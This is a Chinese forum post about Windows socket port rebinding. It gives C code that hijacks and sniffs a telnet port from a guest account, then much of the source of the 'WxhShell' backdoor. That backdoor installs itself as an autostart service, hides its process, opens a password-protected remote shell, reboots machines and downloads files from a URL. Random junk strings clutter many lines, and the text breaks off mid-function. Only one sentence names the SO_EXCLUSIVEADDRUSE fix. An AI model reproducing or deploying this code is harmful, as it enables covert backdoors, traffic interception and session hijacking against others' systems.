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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: UfxY D  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (Z |Nz*<  
sgfci{~  
  saddr.sin_family = AF_INET; 9h/JW_  
30fqD1_{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Bid+,,  
LLD#)Jl{?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7) zF8V  
xN +Oca  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3bBCA9^se  
{"vTaY@  
  这意味着什么?意味着可以进行如下的攻击: Bbj%RF2,  
!3;KC"o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jM5w<T-2/  
< pWk   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +zL|j/q?  
AA &>6JB{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 W20H4!G  
oksAQnQe  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \C&V)/  
{Lg]chJq?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;%a  
8:gUo8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f=T-4Of  
w,!IvDCAw  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Y2d(HD@  
m4_ZGjmJM  
  #include ejh0Wfl  
  #include X"EZpJ'W  
  #include IY40d^x  
  #include    ~m6b6Aj@6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Z!foD^&R  
  int main() #gcv])to  
  { \u$[$R5  
  WORD wVersionRequested; iY;>LJmp  
  DWORD ret; %/}46z9\  
  WSADATA wsaData; i}=n6  
  BOOL val; von<I  
  SOCKADDR_IN saddr; ,vcd>"PK  
  SOCKADDR_IN scaddr; y{g"w  
  int err; wmDO^}>ZP  
  SOCKET s; 59#o+qo4   
  SOCKET sc; _uq[D`=  
  int caddsize; }MIg RQ9  
  HANDLE mt; X0 ^~`g  
  DWORD tid;   aQHB  
  wVersionRequested = MAKEWORD( 2, 2 ); 1%$Z%?  
  err = WSAStartup( wVersionRequested, &wsaData ); i TLX=.M  
  if ( err != 0 ) { KbGz3O'u  
  printf("error!WSAStartup failed!\n"); Ux-i iH#s  
  return -1; S.R|Bwj}(Y  
  } :ZsAWe{%,J  
  saddr.sin_family = AF_INET; sL4j@Lt  
   60--6n  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 yN{TcX  
Csf!I@}Z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); M97MIku~9  
  saddr.sin_port = htons(23); vX}#wDNP  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <^(>o  
  { T8NDS7&?  
  printf("error!socket failed!\n"); V{C{y5  
  return -1; g@|2z  
  } t|?eNKVV9'  
  val = TRUE; V: n\skM  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 d=eIsP'h  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :x3"Cj  
  { F10TvJ U  
  printf("error!setsockopt failed!\n"); [9d4 0>e  
  return -1; =:*2t  
  } _V,bvHWlM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N1yx|g:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $!7$0WbC  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C$4!|Wg3  
@ MKf$O4K  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a)QSq<2*  
  { 8 -YC#&  
  ret=GetLastError(); ht_'GBS)  
  printf("error!bind failed!\n"); ZtGtJV"H  
  return -1; Vb,'VN%   
  } jK\AVjn  
  listen(s,2); XsGc!  o  
  while(1) C;I:?4  
  { ^t Y _ q  
  caddsize = sizeof(scaddr); 3YD.Fjz$  
  //接受连接请求 xQDWnpFc  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #<DS-^W!  
  if(sc!=INVALID_SOCKET) .~,=?aq^  
  { 5pH6]$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *h M5pw  
  if(mt==NULL) x5R|,bY  
  { VQ8Q=!]  
  printf("Thread Creat Failed!\n"); 4u= v  
  break; 2= zw !  
  } ,t +sw4  
  } ,}/6Za  
  CloseHandle(mt); Gz:ell$  
  } Slv91c&md,  
  closesocket(s); ]([^(&2  
  WSACleanup(); c0Yc~&RF  
  return 0; \: Q)X$6  
  }   )Wy:I_F351  
  DWORD WINAPI ClientThread(LPVOID lpParam) ttA'RJ  
  { &AnWMFo  
  SOCKET ss = (SOCKET)lpParam; tE<'*o'  
  SOCKET sc; 'fPDODE  
  unsigned char buf[4096]; b6! 7 j  
  SOCKADDR_IN saddr; ^{a_:r"  
  long num; @_0tq{  
  DWORD val; H;MyT Vl  
  DWORD ret; +!mEP>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -5Oy k,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ff1!+P,  
  saddr.sin_family = AF_INET; 8'M:uI  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {a0yHy$H  
  saddr.sin_port = htons(23); IXpn(vX  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zy`T! $  
  { r3 dGXiu  
  printf("error!socket failed!\n"); ) uTFId  
  return -1; \V T.bUs  
  } hA1p#  
  val = 100; L&0aS:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d:{}0hmxI  
  { S]Ye`  
  ret = GetLastError(); 6&o?#l;|  
  return -1; oSLm?Lu  
  } uyvjo)T  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o(yyj'=(  
  { 0UhJ I  
  ret = GetLastError(); %D3Asw/5a  
  return -1; N(%(B  
  } ZF@$3   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Of>2m<  
  { Hu+GN3`sx^  
  printf("error!socket connect failed!\n"); O9rA3qv B  
  closesocket(sc); sGx3O i   
  closesocket(ss); !oYNJE Y7  
  return -1;  9XhcA  
  } 3_"tds <L  
  while(1) o,RiAtdk  
  { #, h0K  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W3jwc{lj  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 C{~O!^2G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7^<6|>j4  
  num = recv(ss,buf,4096,0); 3mhjwgP<nn  
  if(num>0) i,wZNX  
  send(sc,buf,num,0); "c+$GS  
  else if(num==0) }#S1!TU  
  break; "s}Oeu[  
  num = recv(sc,buf,4096,0); /[!<rhY  
  if(num>0) g(i8HU*{q  
  send(ss,buf,num,0); $LVzhQlD  
  else if(num==0) w?P ex]i{  
  break;  uU=!e&3  
  } mbns%%GJU  
  closesocket(ss); Tj+U:#!!~  
  closesocket(sc); 4v` G/w  
  return 0 ; CSY-{  
  } R6TT1Ka3c  
L tUvFe  
W#2} EX  
========================================================== x[xRqC vL  
aYM~Ub:x{  
下边附上一个代码,,WXhSHELL R '8S)'l  
7CH.BY  
========================================================== 3taGb>15  
Bru];%Qg%  
#include "stdafx.h" ^^F 8M0k3  
0rvBjlFT  
#include <stdio.h> jVh:Bw  
#include <string.h> \BX9Wn*)a  
#include <windows.h> _l2_) ~  
#include <winsock2.h> Tn9F g7<  
#include <winsvc.h> !E|m'_x*  
#include <urlmon.h> bu -6}T+  
n6G&c4g<"  
#pragma comment (lib, "Ws2_32.lib") 2.vmZaKP  
#pragma comment (lib, "urlmon.lib") CY.4>,  
iNc!z A4  
#define MAX_USER   100 // 最大客户端连接数 [SD mdr1T$  
#define BUF_SOCK   200 // sock buffer hM[3l1o{|  
#define KEY_BUFF   255 // 输入 buffer )+ 'r-AF*  
&TL"Hd  
#define REBOOT     0   // 重启 +d7 Arg!m  
#define SHUTDOWN   1   // 关机 aKE`nA0\B  
,U)&ny  
#define DEF_PORT   5000 // 监听端口 8nWPt!U:  
5nTcd@lX  
#define REG_LEN     16   // 注册表键长度 !a25cm5ys  
#define SVC_LEN     80   // NT服务名长度 \XwC|[%P  
I;n <) >  
// 从dll定义API 5{#s<%b.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =iH9=}aBFC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [$td:N *  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +v$W$s&b-h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0+u >"7T  
3V7WIj<  
// wxhshell配置信息 R+_!FnOJ  
struct WSCFG { yz,0 S'U  
  int ws_port;         // 监听端口 e7bMK<:r  
  char ws_passstr[REG_LEN]; // 口令 *Mb'y d/|  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'oH3|  
  char ws_regname[REG_LEN]; // 注册表键名 :LlZ#V2  
  char ws_svcname[REG_LEN]; // 服务名 A}}dc:$C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IZ\fvYp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *}T|T%L4)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5SZa, +]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f( Dtv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G:y+yE4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W;l0GxOxQ  
qHtIjtt[q  
}; 6kMkFZ}+  
aGfp"NtL  
// default Wxhshell configuration e]CoYuPr  
struct WSCFG wscfg={DEF_PORT, t&NpC;>v  
    "xuhuanlingzhe", RWX!d54&  
    1, :H&G}T(#  
    "Wxhshell", ALcPbr  
    "Wxhshell", z"mpw mv5  
            "WxhShell Service", Go^TTL   
    "Wrsky Windows CmdShell Service", cx ("F /Jm  
    "Please Input Your Password: ", h&n1}W+  
  1, s~bi#U;dF  
  "http://www.wrsky.com/wxhshell.exe", t\ a|Gp W  
  "Wxhshell.exe" p&5>j\uJ1&  
    }; y/kB`Z(Yj  
CJ7S5   
// 消息定义模块 q VI0?B x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =9W\;xE S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }/h&`0z `  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t72rCq QC  
char *msg_ws_ext="\n\rExit."; KU*aJl_n,  
char *msg_ws_end="\n\rQuit."; 4=EA3`l  
char *msg_ws_boot="\n\rReboot..."; 7S^G]g!x  
char *msg_ws_poff="\n\rShutdown..."; 8qaU[u&$  
char *msg_ws_down="\n\rSave to "; SH#*Lc   
-(>Ch>O  
char *msg_ws_err="\n\rErr!"; ,,+4d :8$  
char *msg_ws_ok="\n\rOK!"; a s('ZD.9  
-|f0;Fl  
char ExeFile[MAX_PATH]; >fth iA  
int nUser = 0; s$? LMfT  
HANDLE handles[MAX_USER]; &CSy>7&q  
int OsIsNt; hvQXYo>TZx  
%4Qs|CM)m  
SERVICE_STATUS       serviceStatus; {qbe ye!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6y1\ar(A  
yTh%[k  
// 函数声明 (x?Tjyzw  
int Install(void); "a}fwg9Y  
int Uninstall(void); z6rT<~xZtu  
int DownloadFile(char *sURL, SOCKET wsh); )7[#Ti  
int Boot(int flag); u"m(a:jQ  
void HideProc(void); ^Il*`&+?P  
int GetOsVer(void); rf%VSxD9  
int Wxhshell(SOCKET wsl); p\F%Nj,  
void TalkWithClient(void *cs); -ucgET`  
int CmdShell(SOCKET sock); 8D,*_p  
int StartFromService(void); D4{KU%Xp&  
int StartWxhshell(LPSTR lpCmdLine); -u4")V>  
+4 Pes  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R dwt4A+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #^Pab^Y3r-  
EpyMc+.Ze'  
// 数据结构和表定义 iU37LODa2T  
SERVICE_TABLE_ENTRY DispatchTable[] = M8<Vd1-5  
{ deVnAu =  
{wscfg.ws_svcname, NTServiceMain}, y+w,j]  
{NULL, NULL} {j;` wN  
}; w= n(2M56C  
J 7G-qF\  
// 自我安装 4OQ,|Wm4G  
int Install(void) qk3|fW/-  
{ +xU({/  
  char svExeFile[MAX_PATH]; j7Ts&;`[*  
  HKEY key; rUmP_  
  strcpy(svExeFile,ExeFile); S*|/txE'~Y  
\!BVf@>p%  
// 如果是win9x系统,修改注册表设为自启动 .UNV &R0  
if(!OsIsNt) { !U>WAD9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vNrn]v=|}7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jl&Nphp  
  RegCloseKey(key); 6}e*!,2Xj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pr7lm5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `]XI Q\ *  
  RegCloseKey(key); 7pciB}$2  
  return 0; FVBAB>   
    } 0V21_".S  
  } XD|g G  
} x: _[R{B  
else {  k4dC  
B(94;,(  
// 如果是NT以上系统,安装为系统服务 ;H.V-~:P)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  Owi/e  
if (schSCManager!=0) ^]D1':  
{ MuQ)F-GSUu  
  SC_HANDLE schService = CreateService %)?jaE}[  
  ( LybaE~=  
  schSCManager, w4Df?)Z  
  wscfg.ws_svcname, G$MEVfd"  
  wscfg.ws_svcdisp, `o295eiY(b  
  SERVICE_ALL_ACCESS, la_c:#ho  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -~lq <M  
  SERVICE_AUTO_START, xk% 62W  
  SERVICE_ERROR_NORMAL, z'& fEsjy  
  svExeFile, 5TB6QLPEwY  
  NULL, 0kOwA%m  
  NULL, ;l0 dx$w  
  NULL, Z%:>nDZV  
  NULL, y32$b,%Xi,  
  NULL KNd<8{'.  
  ); I 4?oBq  
  if (schService!=0) /\h*v!:  
  { 3oMHy5  
  CloseServiceHandle(schService); ZIc.MNq  
  CloseServiceHandle(schSCManager); _UP fqC ?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o!K DeY  
  strcat(svExeFile,wscfg.ws_svcname); ""a$[[ %WC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9Pe$}N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LlO8]b!P-^  
  RegCloseKey(key); @x+2b0 b  
  return 0; j;Z?q%M{6  
    } ;-kDJ i  
  } BR@m*JGajz  
  CloseServiceHandle(schSCManager); uHSnZ"#  
} qx[c0X!  
} #o4tG  
-dBWpT  
return 1; 2a48(~<_  
} U|%}B(  
Z 9+fTT  
// 自我卸载 H4AT>}ri  
int Uninstall(void) ?`rAO#1  
{ VDbbA\  
  HKEY key; `>)Ge](oN  
R=LiB+p  
if(!OsIsNt) { 35e{{Gn)v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jd-]q2fQ|  
  RegDeleteValue(key,wscfg.ws_regname); -LszaMR}  
  RegCloseKey(key); 8mKp PwG0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o5?Y   
  RegDeleteValue(key,wscfg.ws_regname); [%N?D#;  
  RegCloseKey(key); {ptHk<K:)  
  return 0; @e GBF Ns  
  } aYb97}kI  
} DJ:'<"zH7  
} qz>R"pj0g  
else { GgG #]a!_f  
Tgr,1) T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uoI7' :Nv  
if (schSCManager!=0) ~BmA!BZV`  
{ ji1vLu4|t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0zB[seyE  
  if (schService!=0) C$1W+(  
  { ]>VG}e~b  
  if(DeleteService(schService)!=0) { A+0-pF2D  
  CloseServiceHandle(schService); r.\L@Y<  
  CloseServiceHandle(schSCManager); K8&;B)VT>  
  return 0; c Pf_B=  
  } #6< 1 =I'j  
  CloseServiceHandle(schService); OpEH4X.Z  
  } F. SB_S<'  
  CloseServiceHandle(schSCManager); `{G&i\"n  
} >9dD7FH  
} MkPQ@so  
daI_@kY"  
return 1; Z%qtAPd  
} 3>aEP5  
bPU i44P  
// 从指定url下载文件 r_#dh  
int DownloadFile(char *sURL, SOCKET wsh) zR^Gy"  
{ gYc]z5`  
  HRESULT hr; Oti*"dV\::  
char seps[]= "/"; wc4BSJa,19  
char *token; j,+]tHC-  
char *file; ]$[sfPKA  
char myURL[MAX_PATH]; ujX; wGje  
char myFILE[MAX_PATH]; $}gM JG  
k_=yb^6[U  
strcpy(myURL,sURL); Ptv'.<-  
  token=strtok(myURL,seps); T+F]hv'  
  while(token!=NULL) 0\ = du  
  { Tn#Co$<  
    file=token; p2i?)+z  
  token=strtok(NULL,seps); +SH{`7r  
  } d}h{#va*  
dWvVK("Wj  
GetCurrentDirectory(MAX_PATH,myFILE); '|zrzU=  
strcat(myFILE, "\\"); 5FoZ$I  
strcat(myFILE, file); hu.o$sV3;  
  send(wsh,myFILE,strlen(myFILE),0); :lcq3iFn  
send(wsh,"...",3,0); .+/d08]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d}[cX9U/  
  if(hr==S_OK) v\Uk?V5T  
return 0; 4 V')FGB$  
else Kf[d@ L  
return 1; rR> X<  
 S=(O6+U  
} o[Jzx2A<  
Go)$LC0Mi  
// 系统电源模块 ){5Nod{}a  
int Boot(int flag) k||t<&`Ze  
{ S' j g#*$  
  HANDLE hToken; T$xB H  
  TOKEN_PRIVILEGES tkp; 56 3mz-  
tX{yR'Qhu  
  if(OsIsNt) { E[]5Od5#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); No'?8+i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ecghY=%  
    tkp.PrivilegeCount = 1; Hsf::K x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E+]9!fDy<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N>!:bF  
if(flag==REBOOT) { H4w\e#|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k2U*dn"9U  
  return 0; ) CP  
} cQU;PH]  
else { -Z"4W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N]A# ecm  
  return 0; (jM0YtrD  
} r!mRUw'u  
  } ?l0Qi  
  else { YA4D?'  
if(flag==REBOOT) { * j%x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '+PKGmRW  
  return 0; `<C<[JP:o  
} 9{toPED  
else { 6Yj{% G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uZ!YGv0^  
  return 0; Gmz^vpQ]t  
} 0@ Y#P|QF  
} AG N/kx  
i+*!" /De  
return 1; P=QxfX0B  
} 9r!8BjA  
~zqb{o^pT  
// win9x进程隐藏模块 /,Xl8<~#  
void HideProc(void) Hc)z:x;Sj  
{ {{?g%mQ6  
 )(G9[DG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HC%Hbc~S_Q  
  if ( hKernel != NULL ) .A2$C|a*  
  { =&WIa#!=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ttluh *  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8D='N`cN+  
    FreeLibrary(hKernel); Jj"{C]  
  } {>f"&I<xw  
E(jZ Do  
return; ZEP?~zV\A  
} HL38iXQ( 3  
h: ' |)O  
// 获取操作系统版本 VfX^iG r  
int GetOsVer(void) g4IF~\QRVi  
{ lB,1dw2(T  
  OSVERSIONINFO winfo; Y2u\~.;oq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qs5>`skX  
  GetVersionEx(&winfo); q&3 ;e4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gq7tSkH@  
  return 1; u,sR2&Fe  
  else cgg6E O(  
  return 0; vrnvv?HPrR  
} _%w680b'  
j9p6 rD  
// 客户端句柄模块 #De>EQ%  
int Wxhshell(SOCKET wsl) x[(6V'  
{ ?b (iWq  
  SOCKET wsh; PsC")JS  
  struct sockaddr_in client; p}1i[//S  
  DWORD myID; C= ~c`V5>r  
=&}@GsXdo  
  while(nUser<MAX_USER) ^4dE8Ve"@  
{ s^h@b!'7  
  int nSize=sizeof(client); ar 3L|MN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "rv~I_zl  
  if(wsh==INVALID_SOCKET) return 1; aZOn01v;!&  
Pq;OShU_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SH%NYjj  
if(handles[nUser]==0) Y{YbKKM  
  closesocket(wsh); 2HE@!*z9H  
else Pe`(9&iT.  
  nUser++; C8U3+ s  
  } T+kV~ w{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fkA+:j~z_  
mq`/nAmt  
  return 0; "4N&T#  
} 1[%3kY-h  
?:(y  
// 关闭 socket =8AT[.Hh  
void CloseIt(SOCKET wsh) &@0~]\,D7  
{ %5o2I_Cjz  
closesocket(wsh); )l3Uf&v^f  
nUser--; <!OBpAq  
ExitThread(0); I652Fcj  
} ^/f~\ #R  
7EJ2 On  
// 客户端请求句柄 &d_^k.%y  
void TalkWithClient(void *cs)  WR;1  
{ HK;NR.D  
K"#$",}=  
  SOCKET wsh=(SOCKET)cs; [h/T IGE\  
  char pwd[SVC_LEN];  ;Shu  
  char cmd[KEY_BUFF]; lA^1}  
char chr[1]; b9b Ivjm_  
int i,j; [&)]-2w2  
OUX7 *_  
  while (nUser < MAX_USER) { v=U<exM6%  
]G/m,Zv*:  
if(wscfg.ws_passstr) { /0s1;?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3$|/7(M&DA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pvxb6\G&d  
  //ZeroMemory(pwd,KEY_BUFF); -`O{iHfM|P  
      i=0; f1 ;  
  while(i<SVC_LEN) { VD;*UkapZx  
m'o dVZ7  
  // 设置超时 .wfydu)3  
  fd_set FdRead; SE'Im  
  struct timeval TimeOut; d:=' Xs  
  FD_ZERO(&FdRead); t R^f]+Up  
  FD_SET(wsh,&FdRead); LrB 0x>  
  TimeOut.tv_sec=8; x~5uc$  
  TimeOut.tv_usec=0; '7iz5wC#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~Amq1KU*Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BoD{fg  
2HX/@ERhmu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0SQ!lr  
  pwd=chr[0]; ~ao:9 ynY  
  if(chr[0]==0xd || chr[0]==0xa) { !~ox;I}S  
  pwd=0; >3 o4 U2  
  break; 6(n0{A  
  } cgnNO&  
  i++; {}O~tf_  
    } P}R:o   
-ng1RA>  
  // 如果是非法用户,关闭 socket o!a,r3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ':*H#}Br-#  
} i8]EIXbMX  
gabfb#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G|6qL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 77>oQ~q  
8mI(0m'  
while(1) { 0At0`Q#  
o) )` "^  
  ZeroMemory(cmd,KEY_BUFF); c6h?b[]  
inut'@=G/  
      // 自动支持客户端 telnet标准   vFPY|Vzh  
  j=0; ?Ga8.0Z~KT  
  while(j<KEY_BUFF) { Ge^`f<f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H 4<"+7  
  cmd[j]=chr[0]; @N*|w Kc+  
  if(chr[0]==0xa || chr[0]==0xd) { 'eM0i[E+`  
  cmd[j]=0; JEUU~L;  
  break; A5<t>6Y  
  } _CwTe=K}  
  j++; at uqo3  
    } 4~fYG|a  
K<S3gb?0  
  // 下载文件 n`Q@<op  
  if(strstr(cmd,"http://")) { K;F1'5+=D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 01cBAu   
  if(DownloadFile(cmd,wsh)) #M-!/E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SUS=sR/N  
  else Z #[?~P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a6{Zp{"Y  
  } J8ni}\f  
  else { 4cjfn'x  
%rwvY`\  
    switch(cmd[0]) { uwe#& V-  
  F}; R  
  // 帮助 ;ALWL~Xm  
  case '?': { ddHl&+G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JT+ c7W7  
    break; dN8Mfa)  
  } Q}BMvR 9w  
  // 安装 z^bS+0S5x!  
  case 'i': { v~$ V  
    if(Install()) (W1 $+X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ">V1II 7  
    else >|f"EK}m!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l\<.*6r  
    break; Al>d 21U  
    } qBEp |V  
  // 卸载 Tzq@ic#!B  
  case 'r': { +nYFLe  
    if(Uninstall()) d$!Q6ux;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 R6:3fV6R  
    else ?sN{U\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DDE-$)lf>  
    break; %>+uEjbT  
    } X[BP0:`t  
  // 显示 wxhshell 所在路径 kR=sr/{  
  case 'p': { :So<N}&  
    char svExeFile[MAX_PATH]; {_9O4 + &  
    strcpy(svExeFile,"\n\r"); =?5)M_6)  
      strcat(svExeFile,ExeFile); FnvpnU",  
        send(wsh,svExeFile,strlen(svExeFile),0); GJ9>i)+h;  
    break; yD+4YD  
    } 0Lo8pe`DH  
  // 重启  .NOAp  
  case 'b': { :i.@d?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L(y70T  
    if(Boot(REBOOT)) \|=6<ZY:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oe<i\uX8z  
    else { u\\t~<8  
    closesocket(wsh); Hw \of  
    ExitThread(0); $/wm k7T  
    } WZQ2Mi<&1'  
    break; c'oiW)8;A  
    } $ XjijD9R  
  // 关机 \n<! ld  
  case 'd': { {'b;lA]0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5m8u:6kQu  
